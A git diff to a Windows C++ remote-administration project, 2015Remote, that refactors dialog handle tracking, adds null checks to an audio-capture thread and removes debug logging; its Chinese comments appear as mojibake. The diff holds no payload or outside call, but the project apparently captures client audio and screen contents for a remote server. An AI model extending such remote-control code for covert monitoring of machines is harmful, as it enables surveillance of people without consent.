diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp
index f91a52f..9c3b5be 100644
--- a/client/AudioManager.cpp
+++ b/client/AudioManager.cpp
@@ -20,6 +20,8 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
     m_AudioObject = NULL;
 
     if (Initialize()==FALSE) {
+        szPacket = NULL;
+        m_hWorkThread = NULL;
         return;
     }
 
@@ -52,7 +54,7 @@ VOID  CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 DWORD CAudioManager::WorkThread(LPVOID lParam)   //发送声音到服务端
 {
     CAudioManager *This = (CAudioManager *)lParam;
-    while (This->m_bIsWorking) {
+    while (This->m_bIsWorking && !This->g_bExit) {
         if(!This->SendRecordBuffer())
             Sleep(50);
     }
@@ -87,7 +89,8 @@ BOOL CAudioManager::SendRecordBuffer()
 CAudioManager::~CAudioManager()
 {
     m_bIsWorking = FALSE;                            //设定工作状态为假
-    WaitForSingleObject(m_hWorkThread, INFINITE);    //等待 工作线程结束
+    if (m_hWorkThread)
+        WaitForSingleObject(m_hWorkThread, INFINITE);    //等待 工作线程结束
     if (m_hWorkThread)
         CloseHandle(m_hWorkThread);
 
diff --git a/common/locker.h b/common/locker.h
index 39d145b..2e030c0 100644
--- a/common/locker.h
+++ b/common/locker.h
@@ -146,7 +146,7 @@ public:
     }
 };
 
-#ifdef _DEBUG
+#if defined (_DEBUG) || defined (WINDOWS)
 // 鏅鸿兘璁＄畻褰撳墠鍑芥暟鐨勮�楁椂锛岃秴鏃朵細鎵撳嵃
 #define AUTO_TICK(thresh, tag) auto_tick TICK(__FILE__, __FUNCTION__, __LINE__, thresh, tag)
 #define STOP_TICK TICK.stop()
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 3cf3d3a..819dbaa 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -2091,10 +2091,10 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
     int cmd = ContextObject->GetBYTE(0);
     AUTO_TICK(50, std::to_string(cmd));
 
-    if (ContextObject->hWnd) {
-        if (!IsWindow(ContextObject->hWnd))
+    DialogBase* Dlg = (DialogBase*)ContextObject->hDlg;
+    if (Dlg) {
+        if (!IsWindow(Dlg->GetSafeHwnd()))
             return FALSE;
-        DialogBase* Dlg = (DialogBase*)ContextObject->hDlg;
         Dlg->MarkReceiving(true);
         Dlg->OnReceiveComplete();
         Dlg->MarkReceiving(false);
@@ -2121,24 +2121,17 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
     return TRUE;
 }
 
-// 瀵硅瘽妗嗘寚閽堝強瀵硅瘽妗嗗彞鏌�
-struct dlgInfo {
-    HANDLE hDlg;	// 瀵硅瘽妗嗘寚閽�
-    HWND hWnd;		// 绐楀彛鍙ユ焺
-    dlgInfo(HANDLE h, HWND type) : hDlg(h), hWnd(type) { }
-};
 
 BOOL CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
 {
     if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed)
         return FALSE;
-    dlgInfo* dlg = ContextObject->hWnd ? new dlgInfo(ContextObject->hDlg, ContextObject->hWnd) : NULL;
 
     SOCKET nSocket = ContextObject->sClientSocket;
 
-    g_2015RemoteDlg->PostMessage(WM_USEROFFLINEMSG, (WPARAM)dlg, (LPARAM)nSocket);
+    g_2015RemoteDlg->PostMessage(WM_USEROFFLINEMSG, (WPARAM)ContextObject->hDlg, (LPARAM)nSocket);
 
-    ContextObject->hWnd = NULL;
+    ContextObject->hDlg = NULL;
 
     return TRUE;
 }
@@ -2534,13 +2527,9 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
     }
     LeaveCriticalSection(&m_cs);
 
-    dlgInfo *p = (dlgInfo *)wParam;
-    if (p) {
-        if (::IsWindow(p->hWnd)) {
-            ::PostMessageA(p->hWnd, WM_CLOSE, 0, 0);
-        }
-        delete p;
-        p = NULL;
+    DialogBase *p = (DialogBase*)wParam;
+    if (p && ::IsWindow(p->GetSafeHwnd())) {
+        ::PostMessageA(p->GetSafeHwnd(), WM_CLOSE, 0, 0);
     }
 
     return S_OK;
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 48e715e..932b650 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -194,7 +194,6 @@ public:
             m_gridDlg->ShowWindow(isGrid ? SW_SHOWMAXIMIZED : SW_HIDE);
         }
 
-        ContextObject->hWnd = Dlg->GetSafeHwnd();
         ContextObject->hDlg = Dlg;
         if(id == IDD_DIALOG_SCREEN_SPY)
             m_RemoteWnds[Dlg->GetSafeHwnd()]=(CDialogBase*)Dlg;
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.user b/server/2015Remote/2015Remote_vs2015.vcxproj.user
index d211272..ef96aac 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.user
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.user
@@ -17,6 +17,7 @@
     <LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
     <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
     <LocalDebuggerCommandArguments>-agent</LocalDebuggerCommandArguments>
+    <LocalDebuggerCommandArgumentsHistory>-agent|</LocalDebuggerCommandArgumentsHistory>
   </PropertyGroup>
   <PropertyGroup>
     <RESOURCE_FILE>2015Remote.rc</RESOURCE_FILE>
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index bb95f02..6abf704 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -277,8 +277,6 @@ BOOL IOCPServer::InitializeIOCP(VOID)
 
 DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
 {
-    Mprintf("======> IOCPServer WorkThreadProc begin \n");
-
     ZSTD_DCtx* m_Dctx = ZSTD_createDCtx(); // 瑙ｅ帇涓婁笅鏂�
 
     IOCPServer* This = (IOCPServer*)(lParam);
@@ -371,8 +369,6 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
 
     ZSTD_freeDCtx(m_Dctx);
 
-    Mprintf("======> IOCPServer WorkThreadProc end \n");
-
     return 0;
 }
 
diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h
index 7ea4124..7bf91f6 100644
--- a/server/2015Remote/Server.h
+++ b/server/2015Remote/Server.h
@@ -367,8 +367,7 @@ public:
     CBuffer				InCompressedBuffer;	        // 鎺ユ敹鍒扮殑鍘嬬缉鐨勬暟鎹�
     CBuffer				InDeCompressedBuffer;	    // 瑙ｅ帇鍚庣殑鏁版嵁
     CBuffer             OutCompressedBuffer;
-    HWND				hWnd;
-    HANDLE              hDlg;
+    HANDLE              hDlg;                       // 瀵硅瘽妗嗘寚閽�
     OVERLAPPEDPLUS*		olps;						// OVERLAPPEDPLUS
     int					CompressMethod;				// 鍘嬬缉绠楁硶
     HeaderParser		Parser;						// 瑙ｆ瀽鏁版嵁鍗忚
@@ -464,7 +463,6 @@ public:
     VOID InitMember(SOCKET s, Server *svr)
     {
         memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
-        hWnd = NULL;
         hDlg = NULL;
         sClientSocket = s;
         PeerName = ::GetPeerName(sClientSocket);